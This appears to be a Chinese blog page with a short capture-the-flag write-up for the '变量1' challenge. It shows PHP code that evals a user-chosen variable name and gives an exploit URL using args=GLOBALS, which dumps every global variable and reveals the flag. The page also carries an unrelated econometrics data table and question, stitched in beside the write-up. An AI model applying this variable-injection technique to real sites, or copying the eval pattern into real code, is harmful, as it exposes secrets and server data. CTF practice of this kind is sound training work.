10.变量1 60

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

查看元素
使用HackBar,输入
http://123.206.87.240:8004/index1.php?args=GLOBALS
选择Post data,输入“what=flag”,点击Exeduce可得:

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(1) { ["what"]=> string(4) "flag" } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" } 

flag即flag{92853051ab894a64f7865cf3c2128b34}

year city city_id treat log_y y x8 x11 x15 x22 2007 北京市 1 0 9.539508 13898.11 1.264640 0.569942 0.845000 0.055012 2008 北京市 1 0 9.802288 18075.06 1.239413 0.639087 0.849000 0.057260 2009 北京市 1 0 9.615341 14993.03 1.264713 0.740540 0.850100 0.054458 2010 北京市 1 0 9.931640 20571.05 1.286552 0.860007 0.859600 0.065843 2011 北京市 1 0 10.128951 25058.06 1.300859 0.990307 0.862300 0.056413 2012 北京市 1 0 10.208309 27127.65 1.309597 1.089477 0.862000 0.054254 2013 北京市 1 0 10.226097 27614.51 1.320657 1.188262 0.863000 0.056227 2014 北京市 1 0 10.316599 30230.27 1.331363 1.299789 0.864000 0.062482 2015 北京市 1 0 10.308587 29989.02 1.333557 1.402388 0.865100 0.050159 2016 北京市 1 0 10.240028 28001.91 1.342149 1.564142 0.865000 0.044606 2017 北京市 1 0 10.525465 37252.16 1.354748 1.707603 0.864500 0.053042 2018 北京市 1 0 10.627913 41270.92 1.356565 1.848103 0.865000 0.057030 2019 北京市 1 0 10.562997 38676.87 1.362943 2.155454 0.866000 0.058505 2020 北京市 1 1 10.554462 38348.17 1.356403 2.199525 0.875500 0.057751 2021 北京市 1 1 10.877047 52947.02 1.359477 2.452796 0.875000 0.062379 2022 北京市 1 1 10.996456 59662.32 1.362090 2.735230 0.874500 0.067378 2007 天津市 2 0 9.209267 9989.27 0.980527 0.429456 0.763200 0.033127 2008 天津市 2 0 9.472047 12991.45 1.025510 0.540338 0.772100 0.033021 2009 天津市 2 0 9.285099 10776.24 1.217347 0.639613 0.780200 0.030237 2010 天津市 2 0 9.601398 14785.44 1.261224 0.784393 0.795700 0.031415 2011 天津市 2 0 9.798709 18010.48 1.289371 0.961503 0.805000 0.033497 2012 天津市 2 0 9.878067 19498.00 1.308759 1.096418 0.815600 0.035672 2013 天津市 2 0 10.002953 22091.61 1.318956 1.205854 0.820000 0.036407 2014 天津市 2 0 10.093455 24184.21 1.351850 1.319705 0.822700 0.037784 2015 天津市 2 1 10.085443 23991.22 1.388772 1.387781 0.826400 0.037378 2016 天津市 2 1 10.016884 22401.53 1.406730 1.500830 0.829100 0.033836 2017 天津市 2 1 9.660468 15685.12 1.387262 1.556532 0.829200 0.035344 2018 天津市 2 1 9.762916 17377.23 1.382398 1.599459 0.831500 0.034050 2019 天津市 2 1 9.698000 16285.00 1.348040 1.178574 0.834800 0.031338 2020 天津市 2 1 9.689465 16146.60 1.348037 1.156892 0.847000 0.037499 2021 天津市 2 1 10.012050 22293.48 1.236330 1.267668 0.848800 0.032979 2022 天津市 2 1 10.131458 25120.98 1.230111 1.389052 0.850604 0.029005 假设数据为这种格式,log_y为被解释变量,treat为虚拟解释变量,x8 x22 x15 x11为控制变量,那么这个异质性多期DID的平行趋势检验如何进行
最新发布
03-15
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值